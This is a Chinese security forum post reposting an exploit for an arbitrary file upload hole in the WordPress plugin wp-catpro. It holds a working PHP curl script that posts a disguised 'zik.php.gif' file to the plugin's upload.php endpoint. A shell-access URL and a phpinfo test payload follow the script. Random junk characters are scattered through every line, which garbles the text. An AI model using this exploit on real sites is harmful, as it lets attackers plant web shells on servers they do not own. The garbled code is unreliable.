找回密码
 立即注册
查看: 2817|回复: 0
打印 上一主题 下一主题

WordPress插件wp-catpro任意文件上传

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-27 20:12:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
1 x& w6 S* C& }+ x8 u- H' f. g#-----------------------------------------------------------------------
- H% H" U  a! y
6 u! V! J% A3 G+ M作者  => Zikou-16
4 F/ H7 Y4 s4 ^# E邮箱 => zikou16x@gmail.com" m- c: n% [+ Q. r  I7 x. g) i% H
测试系统 : Windows 7 , Backtrack 5r37 U# Y6 J- H3 C
下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip7 e- j$ f/ _: i
####
& ]7 j, i$ e! o: ^3 F; | - l) S* i8 ]" ^( f/ H" @
#=> Exploit 信息:
0 j, B& m' A. w2 P------------------
$ |& N( [1 h3 q9 K# 攻击者可以上传 file/shell.php.gif
: B$ E0 V0 g, g4 t% O4 q9 G) j' x! I# ("jpg", "gif", "png")  // Allowed file extensions
8 d1 a3 R: H5 x( Y! J# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)+ `% Q1 v: L) Z! F3 T
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)  s! z$ g+ u! r( y  h* n
------------------
) w1 f1 Z& {" j  A
& R! r* {% E# L8 }; S#=> Exploit
' j: Q1 W4 a/ D- c$ P5 R# s1 e-----------& I  y1 i# d7 l( Z' \7 ~
<?php+ R9 \, Z6 p/ y% h

3 `3 W- v4 w! i' O1 g$uploadfile="zik.php.gif";' N2 K3 @" J( `' g
$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
6 @  d! I! z3 ]0 ncurl_setopt($ch, CURLOPT_POST, true);
* p8 _# a! M* ?/ ^6 Wcurl_setopt($ch, CURLOPT_POSTFIELDS,
) r* ~' L0 K- j( y+ B4 jarray('Filedata'=>"@$uploadfile",  a0 N& S3 ?& ^, Q, e$ S% G1 x
'folder'=>'/wp-content/uploads/catpro/'));/ M+ e: e! s0 u
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
2 h6 T- D/ m2 S( K: V$postResult = curl_exec($ch);
$ j4 l6 V+ \$ [curl_close($ch);
7 D8 L* `7 d! h4 J  }) a: C & J* K2 d; F7 f
print "$postResult";
6 }7 j4 {0 M) ~; ?' R' a 5 [: d/ T8 P2 c; B$ c
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif8 S8 H' ^& o6 E+ U4 u
  ?>4 M+ s5 f1 T7 Z0 k* x8 w8 M2 z( b' o
<?php# g3 @7 V* A; ]/ Y
phpinfo();6 a$ \4 K0 ?8 J( f+ F6 Q
?>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表